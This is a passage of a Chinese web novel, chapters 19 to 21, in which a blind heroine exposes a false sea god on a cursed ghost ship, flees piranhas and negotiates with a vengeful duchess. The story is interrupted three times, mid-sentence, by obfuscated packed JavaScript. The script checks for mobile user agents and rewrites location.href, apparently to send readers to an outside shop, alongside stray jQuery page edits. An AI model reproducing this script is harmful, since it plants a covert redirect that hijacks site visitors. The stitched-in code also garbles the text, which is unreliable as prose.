“我来吧!”谈忆眼皮一跳,身体已先一步做出反应。她咬咬牙,弯下腰,指尖夹住那张浸水后湿哒哒的纸用力一抽。 她发誓,她这辈子的勇气都用到了现在。 “噼啪。” 一团黑色的球状物擦着她的胳膊滑落,在地面炸开,上百只虫子顷刻间散落一地,在她眼前缓慢蠕动。 “呕……上面写的是……”她几乎要忍不住胃里翻涌的酸水,语速飞快地念道,“第一条,这是一场正规舞会,需要携带舞伴出席,不论身份。第二条,黑暗高于一切,祂的降临不可阻挡。第三条,时间——” 她的声音戛然而止,带着不加掩饰的张皇,“没、没了!” 后半截边缘有撕扯的痕迹,似是在争抢中不小心遗落。 那一刹,谈忆的感觉犹如从天堂坠落地狱,寒意让她浑身发凉,但更多是临门一脚的泄气。好不容易有了线索,为什么偏偏缺少最关键的信息?!只要知晓了规则,她们总归有找到生路的希望! “把蜡烛拿下来给我,接待员。下一阶段,你是我的舞伴。” 薄瑜卿迅速做出决定。 话音未落,一道影子徐徐从吊灯上飘下。它脸上同样戴着空气面具,细长的触手卷着一支燃烧到一半的蜡烛。火苗微弱,可仍在顽强地燃烧,将黑暗劈开一个小方格。 ——拿三张面具,就是为了这一刻。 她有暗中接应的“帮手”。 接待员落地的刹那,它拉来凑数的舞伴也落在谈忆跟前。那是一个没有戴面具的发抖人影,因为一直待在天花板上,它幸运的并没有被虫子波及。 眼下,则像是往狮群中放入一只羚羊,无数黑点闻着味飞速爬来,眨眼间将她们围得水泄不通。 “大姥……” “坚持五分钟,你会听到通关提示。” 这句话,薄瑜卿是对谈忆说的。没有在意对方的反应,她拄着盲杖,和接待员一同大步向黑暗中走去。 “窸窸窣窣……” 令人头皮发麻的蠕动怪声如影随形。她丝毫未察,任由其爬上裤脚。 第二条规则,黑暗高于一切在此刻发挥作用。换言之,只要走进黑暗,脸上的面具也会失效。这也是她仅让接待员拿一根蜡烛的原因:对方需要光亮“保命”,而她不用。 【您已击杀海神·部分(异化)*30,获得经验30。当前等级:Lv1(30/200)】 这才是她迈出的第一步。 “咕叽。”无数虫子在她脚边炸开,形成一滩滩乌黑的脓水,难言的恶臭弥漫在空气中。 紧接着,提示音接二连三地响起: 【您已击杀……】 【您已……】 两分钟后,她的等级已经突破3级,距离4级还差不到一百点。 “属性点全部加到感知。” 刹那间,她感到周围的环境在耳中具象化。如果说之前是勉强可以建模,那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005729|193293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在,连一粒灰尘飘落这样最细微的细节也能清晰地在她脑海中呈现。 “396点感知,还算不错。” 这个数字,显然已经远远超过了系统的评判标准。之前还评价她能感知到常人看不见的东西,现在直接用一串问号取代。 “在那边。” 她不需要犹豫,直接判断出喘息声的来源。 那并非鼓风箱般的喘气,倒像是许许多多声浪叠加在一起,从而产生的独特渐增频率。 “你真的准备——” 接待员要落后她半步,此刻终于忍不住出声。 “时间诅咒,顾名思义,就是创造出一个封闭的轮回,让所有事情在其中循环往复地进行。换言之,过去一遍遍上演,永远没有尽头。” 薄瑜卿停下脚步,语调淡淡,“这场舞会,已经重复了成百上千遍。死亡的‘人’,在第二天仍会复活,依然在重复今天所发生的一切。” 所以才会出现苦苦哀求面具的人影。它们知道死亡并非终点,所以会想着多花一点钱买面具,是否可以结束这痛苦的一切。 “有一点很有趣:没人拿出超过一枚铜币的财产。在我看来,它们并非不愿,而是压根没有。” 她徒然加重语气,“再结合村长私藏的一枚金币,他的钱从何而来?要知道,村子里早已没有人烟,他无处搜刮油水。那么,结合祠堂里伪造的海神像,答案便呼之欲出——有人暗中贿赂了他,和之联手,共同暗害女爵。” 突然伸手夺过蜡烛,她将其向前一抛—— 如同划破暗夜的火炬,藏在暗处的东西第一次暴露在光线下,无所遁形。 深褐色的触手倾吐黏液,足有脸盆大的吸盘上粘着一个个干枯的影子。它们早已没有生机,可是被一根根乳白丝线拉扯着,机械弹奏。 “这种乐队,再好的曲子顶多也只能发挥出一分水平,真是暴殄天物。” 她空洞的眼窝凝视着盘踞成一团的触手,忽然偏过头,“看”向走在她身侧不断漏出脓水的接待员,“是这样么,冒牌海神?” 刹那间,白雾褪去。 有着甜美女声的“人”显出真容。他的身体由一根根触手支撑,和眼前巨物如出一辙的吸盘贴在地上,以让他勉强维持人形。 渔网似有所感地高高竖起,细线同样张开,在她前方形成一道密不透风的防护屏障。 “你到底是怎么——” 阴柔男人的话只说了一半,就被薄瑜卿用盲杖戳中触须,发出一声短促的尖叫。 “在我写的游戏剧本里,没有你这个冒牌货一星半点的戏份。” “我最讨厌的,就是这些自以为是的人给男性NPC冠上不属于他们的荣光……哪怕他们原本只是阴沟里的老鼠,不配拥有姓名。” 20.第 20 章 女爵从一开始就不可能在游轮上。 她的真身薄瑜卿已经见识过了,就埋在村长家的地下祠堂之中。那么权三掉入海里之时,女爵的怒火又是从何而来?难不成,她依然对这片海域有着绝对的掌控权? 这个问题曾让她有一瞬间疑惑,可随着她接下任务,拾起那本花名册,提示音立即传来: 【您已接取任务:找出全部真相,帮助归墟女爵正名(限时4小时,失败无惩罚)】 和前两次发布的任务相比,这次又有变化。 薄瑜卿着重在“正名”二字上稍作停留。一般来说,需要正名的情况往往都是遭受不白冤屈,希望真相大白。 而在那之后的英雌贴,四小时的限制和其不谋而合。 她不免觉得奇怪:难道四小时是一道关键的分界线,还是她们只能在船上待四小时? 可随着走入船员休息的房间,观摩被操纵的舞会,她意识到——这看似和她所写剧本重合的一幕,走向的却是截然不同的方向。 “啪!” 盲杖将触手戳出一个洞,吸盘扭曲着蜷缩成一团,恼羞成怒地冲向她。 【你受到100点伤害(已免疫),当前血量:60】 【你对海神·异化造成10000点伤害,对方血量:1(特殊技能[豁免]生效中)】 霎时间,一道微弱的金芒自触手表面升起,勉强止住了飞溅的黑色血液。 “呵,呵呵……” 许是回光返照,阴柔男人肆无忌惮的大笑起来,“就算你杀了我也没用。英雌贴是真的,归墟女爵的诅咒也是真的,我只是小小的利用了一下而已。只要你将其揭下,四小时后,你必死无疑。” “说到这个。” 薄瑜卿压根没在意他的张狂态度,不紧不慢道,“水手的失踪也是你做的吧?” “通过舞会音乐来洗脑,从而不经意的植入寄生虫,让人在极度的欢愉中死去。之后,又会一遍一遍的重复死亡景象,而你也在不断吞噬力量壮大自身。” 她抬起头,空洞的眼眶似乎将盘踞在船底的巨大触手深深印入脑海,“让我猜猜,你刚到船上时的身份……信使?” “你、你怎么知道?”接待员脸上的笑容凝固了。 “因为在我来到雾骸村的第一天,就听到水手们亡灵的低语,说暗影仲裁会派人送来了一封加密信件。那么,若要排查船上的不稳定因素,一个裹挟着秘密的外来者当属头号怀疑对象。除了你,再没有第二号人物。” “……” “为什么失踪的只有水手也很好解释,因为她们是一开始就忠心耿耿跟随女爵,没法轻易被你说动。相反,游轮上的宾客们反倒像是墙头草,哪边风大就往另一侧倒。你举办这场舞会,实则是将她们一网打尽。” “一网打尽?哼,别忘了你自己刚才也说,我不过一个小小的信使,哪里有那么大的能耐?” “凭加密信。” 薄瑜卿语气淡淡,从背包里取出那本破破烂烂的船员花名册: “起初我只当这是一本记载船员信息的姓名簿,可是当我去到沉船岬角时,权三不要另外两样,独独只要这份花名册,还要将之烧掉。” “很有趣的选择,不是吗?傻子也能猜出里面藏有猫腻。” 她听到触手在地上蠕动的声音,像是最后的垂死挣扎。 “那又怎样,你难道还能看到花名册里面的内容不成?” “我确实看不见。” 薄瑜卿坦然承认。随着她翻开封面,一些细密的小孔出现在纸张上。 “祠堂中,我对归墟女爵说过,如果她没有复仇的决心,我不可能帮她。” “不幸中的万幸,她还残留着一点血性。于是,在这本书掉到海里的时候,她顺便给我提供了盲文版。” “花名册只是假象,它真正的模样,其实是那封引起后续种种的加密信。还记得内容吗?我可以给你读读。” 指腹摩挲过一个个凸起的小点,她清了清嗓子: “至舰队最高统帅,尊贵的归墟女爵阁下。” “女爵阁下,愿您的航路永沐荣光,我们以最高的紧迫性致信于您,您于深渊回廊海域取得的辉煌战果——成功驱逐上古海兽,克拉肯之嗣并控制其巢穴——已由信使紧急汇报给仲裁会。” “此战不仅彰显了您无与伦比的军事才能,更意味着一个历史性机遇的降临!” “您的家乡雾骸村深受克拉肯之嗣的影响,常年笼罩在迷雾中,每年都有大量渔民迷失在海域成为幽灵。原本热闹的村子也渐渐变得荒无人烟。只余村长一人镇守,衰落近在眼前,实在令人痛心。” “而雾骸村是连通深渊回廊和寂静之海的重要桥梁,也是日后我们与东方的翡翠王庭决战的后备力量。若能够将雾骸村纳入版图,我们之后的航行也将去除后患,愈发顺利。” “仲裁会在此向您颁布特级命令,一,固守待命。您的舰队必须原地固守于当前坐标海域,等待我们派发的信使和雾骸村的村长先行沟通,并听从其指挥。二,防御优先。您的首要任务是拉拢雾骸村到我们这一边,而克拉肯之嗣被摧毁后,雾骸村常年笼罩的浓雾也将一并消失,幽灵们再也找不到回家的路,这对我们和之谈判非常不利。三,绝对保密。此任务的存在与细节严禁向任何人透露,包括您的幕僚,以防情报泄露被敌方利用。” “暗影仲裁会的命运此刻基于您与您无敌舰队的坚毅之上。您的忠诚与牺牲,将被永恒铭刻于仲裁会的至高殿堂。请务必信任此令并立即执行——首席仲裁官,马库斯?维勒。” …… “一个小小的信使,居然有指挥整座庞大舰队的权力,难道不觉得命令有失偏颇吗?” 薄瑜卿不慌不忙地将花名册合上,偏过头,“我想薇尔涅也在收到这封信时,就看出了猫腻。只可惜,她只是暗影仲裁会手下的一把尖刀,其命运仍由对方完全掌握,就算觉得不对劲,也无法公然反抗。” “而你则拿着鸡毛当令箭,与雾骸村中漂泊的恶灵产生联系。与其说它们憎恶女爵,不如说担心自己会就此消散。因而,包括村长在内,很快就同意了你鸠占鹊巢的想法,同意给你‘至高无上’的荣誉,甚至供奉你为守护神。” “你的可笑雕塑取代了原本辛辛苦苦守护这片海域的薇尔涅,同时,你的阴谋也在暗中生根发芽,甚至说服整个雾骸村来为你背书,直到舰队被诅咒围困,无法前进一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014892|193293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步。不过到现在为止,我还有一事不解。” 她话锋一转,“你的目的达到了吗?现在这一切,就是你想要的么?” “当然!”触手深处传来一个阴狠的声音,“我现在是这艘船的船长,她们都惧怕我,恐惧我。就连你们这些外来者的生死,也在我一念之间。” “可你仍然逃不过时间诅咒。” 薄瑜卿扬起唇,露出一个充满讽刺的笑容,“你自诩继承了女爵的一切,可仔细看看,你继承的又是什么呢?一艘腐朽的游轮,一船毫无生气的幽灵,以及一条永远无法抵达尽头的航线。即便如此你仍然不希望我破坏所谓的时间诅咒,宁愿多沉醉一会当皇帝的美梦之中。” “那又怎样?别看我现在动不了你,可四个小时时间一到,你照样会死!” 那个声音歇斯底里地恐吓道,全然不复之前刻意伪装出的甜美。 “是啊,完不成任务的下场就是从游轮上被驱逐出去。女爵在发布英雌贴时,还是保留了一些仁慈,给予了斡旋的可能。” 薄瑜卿云淡风轻地说,从怀中掏出怀表,不紧不慢地拨动指针。 “就让我看看四小时之后会发生什么吧。” “本来想和你聊两句打发时间,可是跟你这种油盐不进的东西沟通,实在有点浪费口舌。” 她没有理会对方愈发扭曲的面孔,弯腰拾起地上燃烧的仅剩一厘米的蜡烛,转而向黑暗深处走去。 “大姥,这边!” 微弱的烛光照亮谈忆临近崩溃的脸,“大姥,你终于来了,呜呜……” 她发誓,她这辈子没有这么狼狈过。 那些黑色的虫子已经爬到了她手上,滑溜溜的触感夹杂着黏腻液体,还有股令人作呕的腐臭味。正在她以为自己又要再死一次的时候,虫子们突然萎靡下来,趴着一动不动。 她并不清楚薄玉清那边的情况,只听到一声愤怒的尖叫,随后,周围的阴冷随之消退。 结束了吗?她不清楚,但又不敢动作,依然和虫子僵持着。直到火光出现的刹那,才生出喜极而泣之感。 “会游泳吗?”薄瑜卿伸手将那些黑色虫卵抹去,将之变成经验。 “啊?会。” 话音刚落,一则提示音落入她们耳畔: 【四小时时间已过,英雌贴任务失败。惩罚:您已被剥夺宾客身份,请即刻离开破誓者号。】 “不是,这……”谈忆脑袋还懵懵的,余光扫见薄瑜卿已转身离开,她下意识地抬脚跟上: “大姥,到底怎么——” 话才说了一半,她忽然感到脚下一空。甲板中间出现一个大洞,她整个人呈自由落体状,向广阔的海面掉去。 一条条食人鱼雀跃地张开血盆大口,猩红的眼睛死死盯着她们,仿佛在看一道美味的甜品。 海风呼啸,将鱼嘴里的腥臭味吹到空中。 千钧一发之际,薄瑜卿不慌不忙地从背包里掏出一个白色的救生圈。 刚才,她脑海中还响起另一个声音: 【四小时时间已到,完成任务:找出全部真相,帮助归墟女爵正名。】 【女爵对你的做法非常欣赏,向你发出一则见面邀请,是否接受?】 21.第 21 章 冰冷的海水漫过肌肤,带来沁入心底的寒意。 浑浊的水面之下,食人鱼游动的声音顷刻间被放大,连带吞咽口水的声音都清晰可见。 薄瑜卿收起盲杖,手搭在救生圈上,被海浪推着向岸边游去。 与她的平静不同,谈忆不断观察四周,口中紧张地念叨,“怎么办啊?大姥,它们马上追过来了!” 在她们身后,鱼群恍若一团黑色的龙卷风,搅动着海浪,夹杂着吞没一切的气势向她们的方向追来。 海风拂过面颊,带来浓烈的血腥气味。 “你帮我看着方向,其余的事情不用担心。” 薄瑜卿偏过头,耳朵努力辨别着海上的细微声音。她大概能知道往哪个方向游,可到底是不是最近的那条路仍然有待商榷。 “大姥,前面已经能看到岸边了!” 曙光在望,谈忆眼睛一亮,强压下心头的恐惧用力蹬水。可没一会,她突然感觉救生圈变得沉重,扭头一看,薄瑜卿趴在上面,神色有些古怪。 “大姥?” “我腿抽筋了。” 薄瑜卿叹了口气,心里对于自己这具身体的强度有了全新的认识。刚才她和接待员闲扯那么多,一方面是趁机拨动表针,另一方面则是趁机在黑暗里做完几组拉伸。谁曾想,还没滑两下,肌肉就彻底歇菜。 “啊,那怎么办?!” 谈忆瞟见她搭在肩上的渔网,急中生智,“大姥,要不用这个网子挡一下后面的食人鱼?我来把救生圈往前推。” “也行。” 薄瑜卿顺手将渔网向身后一丢,细线顿时散开,犹如一条条埋伏的触须,等待猎物自投罗网。 “嘭!” 领头的食人鱼最先撞上去,像是一颗炮弹,足足将渔网撞飞十几米远。 它们有着深黑色的锋利鳞片,体型足足有小牛犊般大,张开的嘴巴里长着密密麻麻的锋利牙齿。往前游时就像一台台推土机,只不过在此刻变成了推水,疯狂碾压过一切可能的生物。 “大姥,它们追上来了!” 食人鱼的数量实在太多,渔网拦住了一小部分。更多的则从缝隙中钻出来,继续向着她们的方向游。 腥臭味已经通过海风先一步抵达她们鼻尖。 “还有多远?” 薄瑜卿扶着救生圈,问道。 “五百米?”谈忆目测了一下,给出一个不确定的答案,“大姥,你再坚持一下,马上就——” “足够了。” 轻声说了一句,薄瑜卿毫无征兆地松开手,“你到岸上等我,我稍后就到。” “哎?可是……” 谈忆话音未落,就眼睁睁看着她沉下去,只留下一个轻飘飘的气泡。 此刻,身后的食人鱼已经近在咫尺。她无暇去追问缘由,求生的本能驱使着她将救生圈套到身上,手脚并用地往前游。 快点,再快点。 不小心喝了几口水,她也顾不得更多,只觉得粗重的喘息声如影随形。 在肌肉一阵阵抽筋时,她的脚终于碰到沙地。谈忆仍然不敢放松,跌跌撞撞地往沙滩上跑,直到用尽最后一丝力气。 心脏跳动的很快,她瘫坐在地上大口喘气。无意间回过头,她发现食人鱼们并没有追上来,反而在距离岸边几百米处围成一个圈,好像在找什么东西。 暗色的海雾骤然升起,无形中遮挡了她的视线。 “大姥那么做,应该是有她的打算吧?” 见到那团黑压压的食人鱼,谈忆的心里不免七上八下。她实在想不出薄瑜卿还有什么办法能够脱身,就算是死一次再复活也不保险:万一鱼群并没有完全散开呢?那就是白白浪费一个心智碎片。 脑中思绪纷纷,她索性紧紧盯着那团黑影,试图从中看出什么来。 …… 此刻,海底。 薄瑜卿存了一口气,任由身体缓缓跌落。 在她的视野里,数十条巨大的黑影如同黑压压的乌云,向她的方向横扫而来。 她面上无悲无喜,只做了一个简单的动作,就是接下来自女爵的会面邀请。 霎时间,密密麻麻的白色影子自海底出现,盘旋着上升,在她面前形成一道洁白的屏障。 “砰!” 第一条食人鱼结结实实地撞了上去,就像冲入一团雾气之中,幽灵反客为主的将它包裹住,两股力量开始剧烈的撕扯。 越来越多的食人鱼和幽灵们缠斗在一起。一时间,海底只剩黑白二色,强大的波动使得无数海洋生物远远避开,生怕被无辜波及。 趁着这个间隙,薄瑜卿不动声色地将渔网收回,自己则由一个幽灵牵引着,慢慢往前游。 她在进入雾骸村时听到的水手亡灵低语就在这片海域。而她潜入海底寻找罗盘时,身边也围绕着数不尽的幽灵。 彼时的她只将这点异象记下。而在刚刚,她意识到这是个绝佳的利用机会。 ——没有什么比鬼斗鬼这样更好的黑吃黑了。 虽然她不介意让食人鱼来咬自己以收割经验,可这里到底是归墟女爵的地盘,她更愿意让对方先展示出一点诚意。否则,后面的会面未免多余。 “咕嘟。” 憋气的时间快要到了,她浮出水面,深吸一口气。 幽灵继续拉着她往海底沉去,目的地似乎并不在岸上,而是阴沉沉的海底。 穿过幽暗的洞穴,她们迎着波动的水流,进入一间满是湿气的石室。 【您已进入:地下祠堂(难度:未知)】 “上一次难度还是五级,现在已经变成了未知。和我探索的程度有关么?” 薄瑜卿喃喃一句,忽然感觉手上触感一轻,那只指引她前来的幽灵不知何时消失不见。 她也不在意,取出盲杖,一步步向石室中央走去。 在触碰女爵雕像之前,她照例将周围的环境摸了一遍。 “上次来时,边上并没有这个大洞,似是才出现的。” 她伸出手,冰凉的海水停留在指尖。祠堂内部仿佛有一道无形的屏障,将翻涌的海水隔绝在外。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023407|193293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但她的感知也不再是上次踏入此地时被压制的数值。片刻后,薄瑜卿便明白了是怎么回事。 “可以理解为结界,就像时间诅咒一样,是一个独立的体系。” 她转过身,重新走到雕像前面。 “薇尔涅阁下,你有事找我?” 在她面前,雕像忽然动了。她呆滞的眼珠逐渐恢复神采,冷冷俯瞰着她,“你不是薄暮,倒像是我认识的一位故人。” “你也很像我认识的一位故人。” 薄瑜卿无所谓地一笑,“我所认识的薇尔涅,年少时随军出海,四处征战,却因为一纸阴谋葬身海底,成为海洋上徘徊的幽灵。不过,哪怕没有神志,她依然会将暗害自己的幕后黑手们屠戮殆尽,而不是在这里沦为一尊摆设。” “你……” 雕像声音低沉,不复一开始的自如,“你到底是谁?” “一千年前,你在我的噩梦里出现过。严格意义上,我们算老相识。” 薄瑜卿直视着她空洞的眼窝,映出其面上惊愕的神色,“这个副本就是我创作的游戏,但剧情走向跟我的预设截然不同。这么些年,发生了什么?” “有人改动了。” 薇尔涅缓缓呼出一口气,眸光微闪,一瞬间仿佛又变回那个英明睿智的女爵,“在你的剧本中,我将雾骸村的村民们屠戮殆尽后,成为海上的恐怖传说。但在游戏被天霸集团接手之后,她们创造了新的异化海神,并且重新建设起村子,让我成为一个失败者,被囚于祠堂之中,等待玩家过来将我一击毙命。” “甚至用新的海神雕像取代你?” “哼,那个恶心的玩意也妄想取代我,做他的白日梦吧!”薇尔涅不屑地哼了一声,“虽然剧情改了,但我还是让时间诅咒将舰队困住。就算我注定被埋在地下,那些人也别想重见天日。” 她话语里的狠意几乎要溢出来。 “不错,这才是我认识的女爵殿下。” 薄瑜卿欣赏地点头,话锋一转,“正巧我对于这个游戏剧情也有些不满,有没有兴趣再和我合作一次?” “和你合作?算了吧。” 雕像摇摇头,罕见地生出退意,“我也不是一千年前的鬼了,和你合作不亚于与虎谋皮。上次就是因为听信了你的话,加之被符纸威胁,我才被拉入游戏之中,每天都要品尝一次死亡的恐惧。” “我也不过是公事公办而已。你们从我有记忆起就一直缠着我,试图占据我的身体,这笔账我定然要算清楚。” 慢条斯理地说完,薄瑜卿抚摸着盲杖手柄,点了一下地面,“成为被人冒名顶替的傀儡,还是和我一起为你自己正名,决定权在你。” 她没有用多么动听的语言尝试去说服对方,可她所念出的每个字都夹杂着笃定的信心,让人情不自禁想要信服,甚至追随。 “……恕我无法接受。” 女爵沉默片刻,冷声道,“这款游戏早就不受你旗下的瑜界工作室控制,你也不再是一千年前叱诧风云的薄氏总裁。现在的你,又能帮我什么?”